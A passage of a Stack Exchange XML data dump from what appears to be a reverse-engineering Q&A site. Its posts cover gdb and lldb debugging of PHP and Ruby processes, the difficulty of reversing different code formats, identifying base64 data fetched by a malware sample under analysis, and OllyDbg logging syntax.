out&amp;gt;&#xA;#2  0x00000000006156ef in zif_sleep ()&#xA;No symbol table info available.&#xA;#3  0x00000000006ddd7b in dtrace_execute_internal ()&#xA;No symbol table info available.&#xA;#4  0x000000000079dde5 in ?? ()&#xA;No symbol table info available.&#xA;#5  0x0000000000717b18 in execute_ex ()&#xA;No symbol table info available.&#xA;#6  0x00000000006ddc79 in dtrace_execute_ex ()&#xA;No symbol table info available.&#xA;#7  0x00000000006e1b0a in zend_eval_stringl ()&#xA;No symbol table info available.&#xA;#8  0x00000000006e1bf9 in zend_eval_stringl_ex ()&#xA;...&#xA;(gdb) frame 2&#xA;#2  0x00000000006156ef in zif_sleep ()&#xA;(gdb) print (char *)(executor_globals.function_state_ptr-&amp;gt;function)-&amp;gt;common.function_name&#xA;Attempt to extract a component of a value that is not a structure.      &#xA;(gdb) print (char *)(executor_globals.function_state_ptr-&amp;gt;function)&#xA;Attempt to extract a component of a value that is not a structure.&#xA;(gdb) print (char *)(executor_globals)&#xA;$2 = 0xffffffffffffcf48 &amp;lt;error: Cannot access memory at address 0xffffffffffffcf48&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems &lt;code&gt;executor_globals&lt;/code&gt; symbol is not available. Is it because the binary has been optimized, I'm in the wrong frame or something else? Or I should use &lt;code&gt;lldb&lt;/code&gt; instead?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-08-05T13:38:44.273" LastActivityDate="2016-11-30T01:38:01.813" Title="How to get current PHP function name in gdb?" Tags="|debugging|gdb|php|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9560" PostTypeId="1" CreationDate="2015-08-05T22:32:32.830" Score="1" ViewCount="586" Body="&lt;p&gt;I wanted to debug the hanging ruby process, but instead my kernel crashes each time when I'm doing the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm re-running my ruby script (vagrant) which hangs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ vagrant destroy -f &amp;amp;&amp;amp; VAGRANT_LOG=info vagrant up&#xA;...&#xA;INFO ssh: Setting SSH_AUTH_SOCK remotely: /tmp/ssh-FP9viQfD9J/agent.1425&#xA;(process hanging)&#xA;load: 2.48  cmd: ruby 1384 waiting 2.90u 0.62s&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm attaching &lt;code&gt;lldb&lt;/code&gt; into the running process (on different terminal):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lldb -p $(pgrep -fn ruby)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Popup: Developer Tools Access needs to take control of another process for debugging to continue. Type your password. &lt;strong&gt;Continue.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) process attach --pid 1442&#xA;Process 1442 stopped&#xA;Executable module set to &quot;/opt/vagrant/bin/../embedded/bin/ruby&quot;.&#xA;Architecture set to: x86_64-apple-macosx.&#xA;&#xA;(lldb) thread list&#xA;Process 1442 stopped&#xA;* thread #1: tid = 0x2427, 0x00007fff84f3f716 libsystem_kernel.dylib`__psynch_cvwait + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;  thread #2: tid = 0x245d, 0x00007fff84f3f9aa libsystem_kernel.dylib`__select + 10&#xA;  thread #3: tid = 0x2a8d, 0x00007fff84f4094a libsystem_kernel.dylib`poll + 10&#xA;  thread #4: tid = 0x2a9a, 0x00007fff84f3f716 libsystem_kernel.dylib`__psynch_cvwait + 10&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm calling &lt;code&gt;rb_backtrace()&lt;/code&gt; for thread #1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) call (void)rb_backtrace()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which prints for me the ruby backtrace as expected (on process foreground):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from /opt/vagrant/embedded/gems/gems/vagrant-1.7.2/plugins/communicators/ssh/communicator.rb:566:in `block in shell_execute'&#xA;from /opt/vagrant/embedded/gems/gems/vagrant-1.7.2/plugins/communicators/ssh/communicator.rb:566:in `loop'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since ruby is using different threads, I wanted to do the same for thread #2 (which failed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) thread select 2&#xA;* thread #2: tid = 0x245d, 0x00007fff84f3f9aa libsystem_kernel.dylib`__select + 10&#xA;    frame #0: 0x00007fff84f3f9aa libsystem_kernel.dylib`__select + 10&#xA;libsystem_kernel.dylib`__select + 10:&#xA;-&amp;gt; 0x7fff84f3f9aa:  jae    0x7fff84f3f9b4            ; __select + 20&#xA;   0x7fff84f3f9ac:  movq   %rax, %rdi&#xA;   0x7fff84f3f9af:  jmp    0x7fff84f3c19a            ; cerror&#xA;   0x7fff84f3f9b4:  retq   &#xA;&#xA;(lldb) thread list&#xA;Process 1442 stopped&#xA;  thread #1: tid = 0x2427, 0x00007fff84f3f716 libsystem_kernel.dylib`__psynch_cvwait + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP&#xA;* thread #2: tid = 0x245d, 0x00007fff84f3f9aa libsystem_kernel.dylib`__select + 10&#xA;  thread #3: tid = 0x2a8d, 0x00007fff84f4094a libsystem_kernel.dylib`poll + 10&#xA;  thread #4: tid = 0x2a9a, 0x00007fff84f3f716 libsystem_kernel.dylib`__psynch_cvwait + 10&#xA;&#xA;(lldb) call (void)rb_backtrace()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Kernel panic screen: &lt;em&gt;You need to restart your computer.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At this point the kernel crashed with the following backtrace found in log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;panic(cpu 2 caller 0xffffff80022dcc1d): Kernel trap at 0xffffff80025f69e4, type 14=page fault, registers:&#xA;Fault CR2: 0x0000000001f6d695, Error code: 0x0000000000000000, Fault CPU: 0x2&#xA;Backtrace (CPU 2), Frame : Return Address&#xA;0xffffff81f0ca3aa0 : 0xffffff8002223139 &#xA;0xffffff81f0ca3b20 : 0xffffff80022dcc1d &#xA;...&#xA;BSD process name corresponding to current thread: ruby&#xA;&#xA;Mac OS version:&#xA;13F1077&#xA;&#xA;Kernel version:&#xA;Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64&#xA;last loaded kext at 244023643290: com.apple.filesystems.msdosfs 1.9 (addr 0xffffff7f8308c000, size 65536)&#xA;loaded kexts:&#xA;foo.tap 1.0&#xA;foo.tun 1.0&#xA;org.virtualbox.kext.VBoxNetAdp  4.3.12&#xA;org.virtualbox.kext.VBoxNetFlt  4.3.12&#xA;org.virtualbox.kext.VBoxUSB 4.3.12&#xA;org.virtualbox.kext.VBoxDrv 4.3.12&#xA;com.apple.filesystems.msdosfs   1.9&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This happened already twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the reason for a kernel crash? Is it a &lt;code&gt;lldb&lt;/code&gt;/&lt;code&gt;kernel&lt;/code&gt; bug, or expected behaviour by doing something wrong? If so, what should be the correct safer approach of calling &lt;code&gt;rb_backtrace()&lt;/code&gt; on different threads (without crashing the kernel)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarification, ruby script (vagrant) was run without &lt;code&gt;sudo&lt;/code&gt;, the same as &lt;code&gt;lldb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using lldb-320.4.160.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-08-05T22:41:00.740" LastActivityDate="2016-09-12T06:55:26.777" Title="Why darwin kernel crashes on function call via lldb while debugging the process?" Tags="|debugging|osx|kernel-mode|callstack|lldb|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9561" PostTypeId="1" CreationDate="2015-08-06T02:26:35.887" Score="4" ViewCount="1251" Body="&lt;p&gt;I'm not asking about the difficulty of reverse engineering in general, but rather the difficulty of reverse engineering a particular hypothetical target. We'll assume that having the source code requires no reverse engineering and is thus the easiest. How does reverse engineering from object code, bytecode, and machine code compare? How would obfuscation affect the difficulty for each of the four formats? I'm looking for answers that try to quantify these comparisons.&lt;/p&gt;&#xA;" OwnerUserId="13210" LastActivityDate="2015-08-06T08:18:43.330" Title="Difficulty of reverse engineering based on target" Tags="|byte-code|machine-code|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9562" PostTypeId="2" ParentId="9561" CreationDate="2015-08-06T03:33:37.930" Score="3" Body="&lt;p&gt;IMHO, in general, order of difficulty:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Object code&lt;/li&gt;&#xA;&lt;li&gt;Machine code&lt;/li&gt;&#xA;&lt;li&gt;Byte code&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My reasoning is such: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object code is easiest because it will usually contain lots of symbol or debug information. Even when it doesn't you have a bit of extra knowledge, since you know that all the code in that file relates to one compile object. That's pretty useful to know, and aids analysis (unless it's a giant monolithic program).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Machine code is next easiest because machine architectures are, in general, very well defined and very well documented. All you need is a disassembler and the code is at your mercy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte code varies between easy and super hard because it can basically be anything. The byte code by itself is useless without knowledge of the virtual machine that it is written for. For instance, byte code for a JVM is easy, since we have a well defined spec for the JVM. Byte code generated for a Themida VM however, is difficult, because it's randomised and you have to analyze that particular VM before you can interpret the byte code in a meaningful (which itself is quite difficult).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obfuscation almost always makes it harder to analyse the code underneath. But obviously it depends on the level of obfuscation. Some are trivial to bypass with a simple script, some can be bypassed by jumping over the obfuscated code (i.e junk), and others are highly complex and require complex emulators or step-by-step analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty hard to quantify these differences without designing a specific multi-criteria analysis framework. &lt;/p&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2015-08-06T03:33:37.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9563" PostTypeId="2" ParentId="9561" CreationDate="2015-08-06T07:28:52.057" Score="2" Body="&lt;p&gt;Just to add something from obfuscation perspective, I'd like to add to a good  answer by @fileoffset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each code transformation (such as compilation, linking and obfuscation) on the way from the source code to production executable (probably obfuscated) looses some information and optionally adds some white noise . The simplest example of such information is comments in code. The simplest example of noise is indirect calls through PLT/GOT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information may be categorized as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whole program semantics, such as algorithms, algorithms execution order, modules, revisions, comments, and relations of all this to all the program, etc. This information will be removed during the compilation from the program to the native code of the platform where it will be executed if the platform doesn't need it (which is not always the case for Java, .NET, and ActionScript for example because modules and classes are part of the platform low level language, but in contrary this is definitely correct for compilation to ARM, IA32-64 and other real world processors). This category of information can be corrupted by obfuscation only in case where it exists in the executable as a part of platform language, and that's exactly one of java obfuscators working methods.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Basic algorithm building blocks, such as loops, functions, conditional expressions, structures, global variables, calls to other functions, function prologues and epilogues, and almost everything else you can see within a function. Compilation will loose significant part of this information, but it may be recoverable from the context.&#xA;This category of code artifacts can be significantly corrupted by obfuscation&#xA;by using creative and non-standard patterns for standard tasks, for example control flow changes such as control flow flattening, loop unroll, not needed stack manipulations, etc. Please note that the obfuscation strength here depends on a platform requirements. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Platform level abstractions, such as registers, stack, single instructions, flags, etc. This may be obscured by obfuscation, for example virtual machine based obfuscators are just inventing random virtual machine on the fly. In addition most of obfuscators are adding not needed instructions. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering is a process of recovering lost information from the code,&#xA;from lowest level up to the highest if it possible at all. This process is based on recognition of standard patterns. This process gets harder if standard patterns are removed. &lt;em&gt;The number or order of magnitude of removed/changed/corrupted/obscured/white-noised standard constructions may be used &lt;strong&gt;as an incomplete and bad measure&lt;/strong&gt; of obfuscation strength.&lt;/em&gt;  &lt;strong&gt;Unfortunately there are no other reasonable measures I know about.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's try to re-categorize your formats from this perspective in order of obfuscation removing efforts needed. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Source code &lt;/li&gt;&#xA;&lt;li&gt;Object code&lt;/li&gt;&#xA;&lt;li&gt;Not obfuscated production code for high level well known platforms such as .NET, ActionScript, and Java&lt;/li&gt;&#xA;&lt;li&gt;Obfuscated production code for high level well known platforms such as .NET, ActionScript, and Java&lt;/li&gt;&#xA;&lt;li&gt;Not obfuscated native code &lt;/li&gt;&#xA;&lt;li&gt;Native code obfuscated &lt;strong&gt;without&lt;/strong&gt; Themida like VM&lt;/li&gt;&#xA;&lt;li&gt;Native code obfuscated &lt;strong&gt;with&lt;/strong&gt; Themida like VM&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The best (and funniest) heuristic to check and justify the order above is a cost of decompiler (which is automated reverse engineering tool) for corresponding platform, its existence and its quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example some Java decompilers can do automatic partial deobfuscation and can almost always reconstruct the code on a class method level with cost of license $0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native code decompiles, in contrary, are either doesn't work well enough (none of them reaches quality of JAD, very old java decompiler) or cost a lot such as Hex Rays decompiler, the only stable working decompiler I know (and I tried a lot of others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, there are some articles that trying to measure obfuscation strength, such as &lt;a href=&quot;https://www22.in.tum.de/fileadmin/papers/spro15.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, for example (the article is almost useless for real life binaries, but the list of references is interesting). None of them that I know working with reasonable size of executable under test. Most of them working with not realistic assumptions and/or exploiting specific obfuscation algorithm flaws.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-08-06T08:18:43.330" LastActivityDate="2015-08-06T08:18:43.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9564" PostTypeId="1" CreationDate="2015-08-06T13:09:55.593" Score="1" ViewCount="195" Body="&lt;p&gt;Recently, I received malware executable to analyse - it's written in C#, and it's packed/obfuscated with unknown tool, so I started analysis from analysing it's traffic - what it's sending and receiving - and I've found out that after exe starts, it downloads &lt;code&gt;attackerwebsite.com/main.xml&lt;/code&gt; and that file looks for me like hwid lists, where malware should operate, because when I open it on my pc, it's showing me error, but when my friend starts it on his attacked machine, it's executing in background. Part of transferred file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RFx8jwcYx7BRG4THW7VnxNpJngjku4JGQbzeoiKHl0jHjR+Q5eE56U/ahuvvVnGCTMvRlmZXoGhplAKYHWPHpIzCCJygwpQfhJzBDG7R6z8=&#xA;qsb2Wt5tVZCp8oL0QhZPQkIgAgh4tZCdQZspAmqZIjU=&#xA;M0d+iQi3D2GAdPOQVSGDmMEIgm+3CIr7gsAxkdeMMhDP7SNdGy1LsJH8BEYDyxRMOdfoz/eXWKN/7g8w09Q7gA==&#xA;9qHMzL3YxPjH0twK1iu8RWFDqmgYBQyeyEt/h08i8pIb7ZcznKY03JXxp+Es66h/thc1UpsPnKcvboOWhS2ymQ==&#xA;QIlTv37HbTvftGLgruLi9dJSZv5yU1JIaArSu8i24kcS6FOPGXOhnXax6gYHKgZt&#xA;4x+2Y4l9xILsm28ldTCoGAZB/XuhWO7S0PQfXpEpnTi887J1qA8UAm5FAlXZnB9w+1GlBkVopzQsPdrVe3QI4w==&#xA;t2UY+j7lcKoh+nywSDVGVcP0DjBfid2bOUUqgV5sJndGARiSRS5BDg4Nsle2fpT4AAXDs8fMWKR96876u7Dnig==&#xA;WVomGVrQ4RyffNLyn8c2lnDBXnizW0A3HYMNSqpN1eUwE/xh4UpMXypmd75kLkPh&#xA;lZV56hvraWQSETIrJhMrpD2yBb4tplZswT4ws9Lb5rkUMtoAl6fI7MymLhC794HQmTqlWIbFKnlh0K4rhYXnGQ==&#xA;RG+VLzAW8lKdhKdHDbiXeMge2EPOove2tj0Qm59IIm4YSsggX1m1rsNwFY4EL9y1//+OlXUGECZLr3WskKcDkQ==&#xA;caaijfTyoXkqPqboAX+TXNs22go6Vir33pa1GxOgpLiQLZRDeSpVJjJ6pJf4igUkkj75cgYzYgV8c4OGXxaJnQ==&#xA;P0UtlPzInfxktvzGsdxG1QpFl6q/VkrpRtU/+TiGX5UmhiMLAvz4YtRn785kUJkbnbjm1N2vdA4w2Bu3ew6sLQ==&#xA;lP9Jw0gVw8Hd+515tPx09ya3Q5geR202ucS4DI7R1ghFWX89+HT9ASqVv5ynST8BE7rOJJMFHx8BFx2HjLMmdQ==&#xA;fnHXjjdAO5I3+FeKtvtwyn2JlF+k4AiynLH5XK0cLy8fsugEHKubmleS4YRA74Gg&#xA;x/3gRboIOcqV/a5IOEkts1881jf3huUCDLrkZDSrr2TJ86rG6buwmKrsJMZyUXBg&#xA;2uXpW+PXdbskPABxoyvVbuaYuVOgnWKsv/eMs1UBTQo=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've noticed that this is probably hwid encoded in some way, because of padding with equality mark - look at length of lines - there are 4 fixed line lengths - &lt;strong&gt;44&lt;/strong&gt;, &lt;strong&gt;64&lt;/strong&gt;, &lt;strong&gt;88&lt;/strong&gt;, and &lt;strong&gt;108&lt;/strong&gt; - can anybody help me in identifying that hashing/encryption algorithm? Where can I start? Analysing executable would be pain in the a** unless I unpack it.&lt;/p&gt;&#xA;" OwnerUserId="11679" LastActivityDate="2015-08-06T13:47:54.303" Title="Malware checks for hwid" Tags="|cryptography|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9565" PostTypeId="1" AcceptedAnswerId="10639" CreationDate="2015-08-06T13:20:27.090" Score="2" ViewCount="1193" Body="&lt;p&gt;I used to make maphacks for a game called Warcraft 3. I want to get back into reverse-engineering but with today's technologies (i.e. with the internet being fast enough to download data instead of it being pre-loaded) is it a lost art?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse-engineering applications and software does not interest me at all, can anyone recommend other games I might enjoy reversing? I always wanted to take a stab at reverse engineering games using the Quake engine but never got into it, could anyone recommend any tutorials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my method usually involved writing a pure ASM DLL for injection (which just made it easier to create code caves, etc.). Would this work for other games, or are there different methods you have to go about injecting a modification?&lt;/p&gt;&#xA;" OwnerUserId="13214" LastEditorUserId="53" LastEditDate="2015-12-16T17:12:27.523" LastActivityDate="2015-12-17T07:21:00.473" Title="Want to get back into reverse engineering havn't for a few years whats a good starting point for getting back into it?" Tags="|windows|assembly|ollydbg|x86|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostTypeId="2" ParentId="9564" CreationDate="2015-08-06T13:42:53.190" Score="3" Body="&lt;p&gt;It's base64. One entry per line. Entries look like they're padded to 0x10. So after base64 decoding the data is probably encrypted by a block cipher with 128-bit block size. Maybe AES. At this stage you probably need to analyze the executable in order to get the plaintext back.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2015-08-06T13:47:54.303" LastActivityDate="2015-08-06T13:47:54.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostTypeId="1" AcceptedAnswerId="11643" CreationDate="2015-08-06T16:38:59.223" Score="5" ViewCount="2032" Body="&lt;p&gt;How can I identify the entry point of an executable in LLDB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In GDB, we can use the &lt;code&gt;info file&lt;/code&gt; command, but that won't work in LLDB.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone show me how to do that?&lt;/p&gt;&#xA;" OwnerUserId="13216" LastEditorUserId="153" LastEditDate="2022-08-14T17:05:10.670" LastActivityDate="2022-08-14T17:05:10.670" Title="How to find the entry point in LLDB on OS X?" Tags="|osx|lldb|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9568" PostTypeId="1" AcceptedAnswerId="9569" CreationDate="2015-08-06T16:44:57.420" Score="1" ViewCount="78" Body="&lt;p&gt;I am testing a program using conditional log, I would like to display the log in bytes of length 12. So I found this &lt;a href=&quot;http://www.ollydbg.de/Help/i_Expressions.htm&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; about the syntax of expression. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I filled something like  [BYTE*12 400000]  in the expression field but it turns out showing syntax error in the log view. So, how to enable the EMOD_MULTI evaluation mode?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13137" LastActivityDate="2015-08-06T19:57:11.407" Title="What is EMOD_MULTI evaluation mode in OllyDBG?" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostTypeId="2" ParentId="9568" CreationDate="2015-08-06T19:57:11.407" Score="0" Body="&lt;p&gt;are you using ollydbg 2.01 (multiple expression logging is not supported in version 1.10) &#xA;if you want to log multiple expression in ollydbg 1.10 you should look for modified command line plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with that out of way the i dont get any syntax errors if used as documented &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address   Message&#xA;7C901295  INT3: [BYTE*8 1000000] = 4D, 5A, 90, 0, 3, 0, 0, 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [char*8 1000000] = 4D (77.), 5A (90.), FFFFFF90 (-112.), 0, 3, 0, 0, 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [dword*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [word*8 1000000] = 5A4D, 90, 3, 0, 4, 0, 0FFFF, 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [int*8 1000000] = 905A4D (9460301.), 3, 4, 0FFFF (65535.), 0B8 (184.), 0, 40 (64.), 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [unsigned long*8 1000000] = 905A4D, 3, 4, 0FFFF, 0B8, 0, 40, 0&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;7C901295  INT3: [DOUBLE*8 1000000] = 6.3706613826192345360e-314, 1.3906499416091109740e-309, 9.0908078834789364120e-322, 3.1620201333839778820e-322, 0.0, 0.0, 0.0, 5.0927898983166535560e-312&#xA;7C901295  Breakpoint at ntdll.RtlInitUnicodeString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-08-06T19:57:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9573" PostTypeId="5" CreationDate="2015-08-07T18:09:52.797" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-07T18:09:52.797" LastActivityDate="2015-08-07T18:09:52.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9574" PostTypeId="4" CreationDate="2015-08-07T18:09:52.797" Score="0" Body="Refer to the hexadecimal format which is directly executed by the CPU or the interpreter. Opposed to the human-readable format which can be understood by the reverse without any intermediate translation." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-07T18:09:52.797" LastActivityDate="2015-08-07T18:09:52.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostTypeId="1" CreationDate="2015-08-07T19:30:45.507" Score="1" ViewCount="212" Body="&lt;p&gt;I'm trying to print PHP backtrace of the live running script using the following 2 simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run PHP script as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php -r &quot;sleep(1000);&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On another console, I've called directly &lt;a href=&quot;https://github.com/php/php-src/blob/master/Zend/zend_builtin_functions.c#L2654&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;zif_debug_backtrace()&lt;/code&gt;&lt;/a&gt; from &lt;code&gt;lldb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'call (void)zif_debug_backtrace()' | lldb -p $(pgrep -fn php)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Above worked, however the process stopped with the following warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: sleep() expects at most 2 parameters, 1606408648 given in Command line code on line 1&#xA;Call Stack:&#xA;    0.0016     235152   1. {main}() Command line code:0&#xA;    0.0021     235248   2. sleep(1000) Command line code:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the script stopped and how to prevent that? Is it possible to print PHP backtrace during live run without affecting the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because I should specify some return address? If so, which one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw. The same happening when calling &lt;code&gt;zif_debug_print_backtrace()&lt;/code&gt; and when calling &lt;code&gt;custom_backtrace()&lt;/code&gt; it is showing: &lt;code&gt;Backtrace null function called&lt;/code&gt;. I'm using &lt;code&gt;xdebug&lt;/code&gt; if that change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I need to call a different function like &lt;code&gt;zend_fetch_debug_backtrace&lt;/code&gt; (see: &lt;code&gt;image dump symtab&lt;/code&gt;)? Or use the right arguments, if so, which one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested either in &lt;code&gt;lldb&lt;/code&gt; or &lt;code&gt;gdb&lt;/code&gt; solutions.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-08-07T19:36:12.693" LastActivityDate="2015-08-07T19:36:12.693" Title="How to dump PHP backtrace on live running script in lldb?" Tags="|debugging|gdb|callstack|lldb|php|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9577" PostTypeId="2" ParentId="3267" CreationDate="2015-08-07T19:33:17.273" Score="1" Body="&lt;p&gt;I eventually figured this out. It's a hexadecimal based encoding. The remaining symbols I was stumped by were 'A' through 'F'. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;010101&quot; =&amp;gt; &quot;0&quot;,&#xA;&quot;110001&quot; =&amp;gt; &quot;1&quot;,&#xA;&quot;110010&quot; =&amp;gt; &quot;2&quot;,&#xA;&quot;100011&quot; =&amp;gt; &quot;3&quot;,&#xA;&quot;110100&quot; =&amp;gt; &quot;4&quot;,&#xA;&quot;100101&quot; =&amp;gt; &quot;5&quot;,&#xA;&quot;100110&quot; =&amp;gt; &quot;6&quot;,&#xA;&quot;010110&quot; =&amp;gt; &quot;7&quot;,&#xA;&quot;011010&quot; =&amp;gt; &quot;8&quot;,&#xA;&quot;011001&quot; =&amp;gt; &quot;9&quot;,&#xA;&quot;101010&quot; =&amp;gt; &quot;a&quot;,&#xA;&quot;001011&quot; =&amp;gt; &quot;b&quot;,&#xA;&quot;101100&quot; =&amp;gt; &quot;c&quot;,&#xA;&quot;001101&quot; =&amp;gt; &quot;d&quot;,&#xA;&quot;001110&quot; =&amp;gt; &quot;e&quot;,&#xA;&quot;011100&quot; =&amp;gt; &quot;f&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13224" LastActivityDate="2015-08-07T19:33:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
